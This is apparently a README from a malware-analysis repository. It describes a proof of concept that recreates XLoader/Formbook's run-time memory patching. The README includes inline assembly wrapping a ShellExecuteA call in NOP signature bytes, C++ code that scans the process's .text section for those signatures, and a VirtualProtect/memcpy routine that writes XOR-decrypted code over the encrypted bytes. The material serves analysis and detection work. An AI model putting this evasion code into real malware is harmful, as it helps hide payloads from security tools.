This repository contains the analysis reports, technical details or any tools created for helping in malware analysis. Additionally, the repo contains extracted TTPs with code along with the detection rules
This is a memory patch TTP extracted from Xloader4.3. The xloader AKA formbook, hides its core malicious functionality under the guise of encrypted core malicious functions that are patched at run-time in the memory during its exectution. This POC aims to recreate a simplified version of xloader memory patching ttp by finding encrypted signature bytes, then decrypt and execute those bytes.
In xloader aka formbook malware, there are encrypted malicious functions in the executing .text section that are encased in the identifier or signature bytes. In the previous versions of formbook malware the magic bytes were something like 49909090, 489090909 and so on. The malware when executed first identifies these identifiers in the virtual memory of executing malware process and decrypts the bytes that are encased between signature bytes. After the decryption, the plain bytes were patched over these encrypted bytes and that’s how the malware continues with its execution. To understand in detail: read my report on xloader4.3 analysis
In this PoC, i have used simple inline assembly to demonstrate how we can encrpyt the malicious code inside the .text section and execute the binary also avoiding the corruption and crashes.
__asm {
nop //9090909090
nop
nop
nop
nop
push showCmd // nShowCmd
push directory // lpDirectory
push parameters // lpParameters
push file // lpFile
push operation // lpOperation
push 0 // hWnd
mov eax, pShellExecuteA
call eax // Call ShellExecuteA
nop
nop
nop
nop
nop
}
This inline assembly is simply exeuting a command with ShellExecuteA API. The instructions are encased in the signature bytes. In the final release, i will replace the encased bytes with encrypted version and patch the release using any hex editor.
In order to find and replace (patch) the encrypted bytes with decrypted opcodes. We need to find the signature bytes in the memory of process. To do that, the first step is to read the process memory and find .text section:
// Get a handle to the current process
HANDLE hProcess = GetCurrentProcess();
// Get the base address of the executable module
HMODULE hModule;
if (!GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT, reinterpret_cast<LPCWSTR>(&main), &hModule)) {
std::cerr << "Failed to get module handle." << std::endl;
return {};
}
// Get the DOS header
IMAGE_DOS_HEADER dosHeader;
if (!ReadProcessMemory(hProcess, hModule, &dosHeader, sizeof(dosHeader), nullptr)) {
std::cerr << "Failed to read DOS header." << std::endl;
return {};
}
// Get the NT headers
IMAGE_NT_HEADERS ntHeaders;
if (!ReadProcessMemory(hProcess, reinterpret_cast<BYTE*>(hModule) + dosHeader.e_lfanew, &ntHeaders, sizeof(ntHeaders), nullptr)) {
std::cerr << "Failed to read NT headers." << std::endl;
return {};
}
// Get the section headers
IMAGE_SECTION_HEADER sectionHeader;
DWORD textSectionRVA = 0; // RVA of the .text section
DWORD textSectionSize = 0; // Size of the .text section
// Iterate over the section headers to find the .text section
for (int i = 0; i < ntHeaders.FileHeader.NumberOfSections; ++i) {
if (!ReadProcessMemory(hProcess, reinterpret_cast<BYTE*>(hModule) + dosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)),
§ionHeader, sizeof(sectionHeader), nullptr)) {
std::cerr << "Failed to read section header." << std::endl;
return {};
}
if (strcmp(reinterpret_cast<const char*>(sectionHeader.Name), ".text") == 0) {
textSectionRVA = sectionHeader.VirtualAddress;
textSectionSize = sectionHeader.SizeOfRawData;
break;
}
}
if (textSectionRVA == 0) {
std::cerr << "Failed to find .text section." << std::endl;
return {};
}
// Read the .text section into memory
std::vector<unsigned char> buffer(textSectionSize);
SIZE_T bytesRead;
if (!ReadProcessMemory(hProcess, reinterpret_cast<BYTE*>(hModule) + textSectionRVA, buffer.data(), textSectionSize, &bytesRead)) {
std::cerr << "Failed to read .text section." << std::endl;
return {};
}
To find signature bytes, i am looking for 2 occurances of the signature bytes in the whole .text section of the binary. The first occurance of signature bytes is where my encrypted code starts and the 2nd occurance of signature bytes is where my encrypted code ends. Anything in between these 2 occurances must be decrypted and patched for this technique to work.
// Finding Signature Bytes
std::cout << "[x] Finding signature bytes....!!!" << std::endl;
std::vector<unsigned char> signature = { 0x90, 0x90, 0x90, 0x90, 0x90 };
std::size_t bytesBetween;
std::size_t bufferLength = buffer.size(); // buffer contains whole .text section
std::size_t signatureLength = signature.size();
std::size_t firstIndex = std::string::npos; // Initialize first index to not found
for (std::size_t i = 0; i <= bufferLength - signatureLength; ++i) {
bool found = true;
for (std::size_t j = 0; j < signatureLength; ++j) {
if (buffer[i + j] != signature[j]) {
found = false;
break;
}
}
if (found) {
if (firstIndex == std::string::npos) {
// First occurrence of the signature, store its index
firstIndex = i;
}
else {
// Calculate the number of bytes between two occurrences
bytesBetween = i - firstIndex - signatureLength;
std::cout << "Number of bytes between two occurrences: " << bytesBetween << std::endl;
}
}
}
}
Now that encrypted bytes are found, I calculate their relative virutal address after skipping the signature bytes and also find the actual address of that specific location in memory. I used simple xor function to encrypt/decrypt the bytes. The patch function simply changes the protection to allow Write permission as well, just in case. Then i copy the decrypted bytes over the encrypted buffer and changes back to the original memory protections.
void PatchCurrentProcessMemory(void* destination, void* source, size_t size) {
// Change memory protection to execute-read-write
DWORD oldProtect;
if (!VirtualProtect(destination, size, PAGE_EXECUTE_READWRITE, &oldProtect)) {
std::cerr << "Failed to change memory protection." << std::endl;
return;
}
// Copy the new bytes into the destination
memcpy(destination, source, size);
// Restore the original memory protection
DWORD temp;
VirtualProtect(destination, size, oldProtect, &temp);
}
The above screenshot explains the simple process of preparing the binary (payload) by patching encrypted bytes to its text section for delivery.
In the scenario of Xloader4.3 malware, it had included whole malicious functions inside the signature bytes and kept in the encrypted format that are decrypted by program itself on execution before reaching to that particular area in memory. Hence, evading defenses by completely modifying and changing itself. More details are available in the PDF report of xloader4.3
I have attached a debugger to the PoC release binary and set a breakpoint on memcpy function that is patching the bytes. In the following GIF, you can see before memcpy is called the bytes are different and after memcpy is called, the bytes are patched.
To understand the process easily, just execute the compiled binary (available in release directory) in cmdline and map the printed details in memory…!!!
For Complete Code Click Here: Shaddy43/MalwareAnalaysisSeries
The artifacts and code for this repository are intended for Educational purposes only!